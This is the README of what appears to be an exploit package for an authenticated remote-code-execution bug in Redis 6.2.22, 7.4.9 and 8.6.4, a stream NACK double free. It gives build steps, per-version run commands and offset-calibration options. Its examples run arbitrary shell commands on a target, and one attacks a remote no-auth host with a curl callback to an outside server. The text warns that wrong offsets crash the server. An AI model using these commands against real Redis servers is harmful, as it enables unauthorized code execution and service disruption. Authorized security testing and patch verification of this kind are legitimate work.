Exploit for redis-poc CVE-2026-25243

## https://sploitus.com/exploit?id=A86D4944-09B5-5738-8D2B-ECA4EA751AE0
# Redis Authenticated RCE (stream NACK double free)

Non-destructive RCE exploits for **Redis 6.2.22, 7.4.9 and 8.6.4** via the
stream consumer-group shared-NACK double free (a new variant of CVE-2026-25243 that bypassed its patch).  

## Build (one-time)

```
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
```

Requires: Python 3.6+ (no pip packages), gcc.

## Usage

```
# 6.2.22 
python3 A_exploit_stock.py   [password] [trigger]

# 7.4.9
python3 P74_exploit.py   [password] [trigger]

# 8.6.4
python3 P86_exploit.py   [password] [trigger]
```

- `password` — omit (or pass `""`) for no-auth targets
- `trigger` — shell command, default writes proof under `/data/pwned*`

Examples:

```
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"

# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"

# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"

# remote, no auth
python3 P86_exploit.py 10.0.0.5 6379 "" "curl http://me.example/cb"
```

## Files

- `A_exploit_stock.py` — exploit for **6.2.22** (`redis:6.2.22` image)
- `P74_exploit.py` (+ `P74_g2.py`) — exploit for **7.4.9** (`redis:7.4`)
- `P86_exploit.py` — exploit for **8.6.4** (`redis:8.6`)
- `A_lib.py`, `G2_arbread.py` — shared helpers (must sit next to the exploits)
- `crc64.c/h`, `crcspeed.c/h` — sources for `libcrc64.so` (Redis CRC64,
  needed to build valid `RESTORE` payloads)
- `calibrate.sh` — compute binary offsets for non-official builds
- `P74_loop.sh`, `P86_run.sh` — boot-retry wrappers

## Target requirements

- **6.2.22**: official-image offsets by default. For other builds,
  override offsets (`--str-format-off`, `--got-write-off`,
  `--libc-write-off`, `--libc-system-off`, `--server-off`,
  `--db-dicttype-off`, `--dictsdskeycompare-off`; see `--help`), or run
  `./calibrate.sh /path/to/redis-server [/path/to/libc.so.6]` to generate
  them. **Wrong offsets crash the target server** (out-of-range reads) —
  calibrate first if the binary differs from the official image.
- **7.4.9 / 8.6.4**: stock official images, **no debug flag needed**
  (exploits are fully DEBUG-free since the de-DEBUG rework).
- Commands available to the user: `EVAL`, `RESTORE`, `XGROUP`.

## Notes

- **8.8.0+ is NOT vulnerable** A refactor PR #15081 blocked this vulnerability.

For authorized testing only.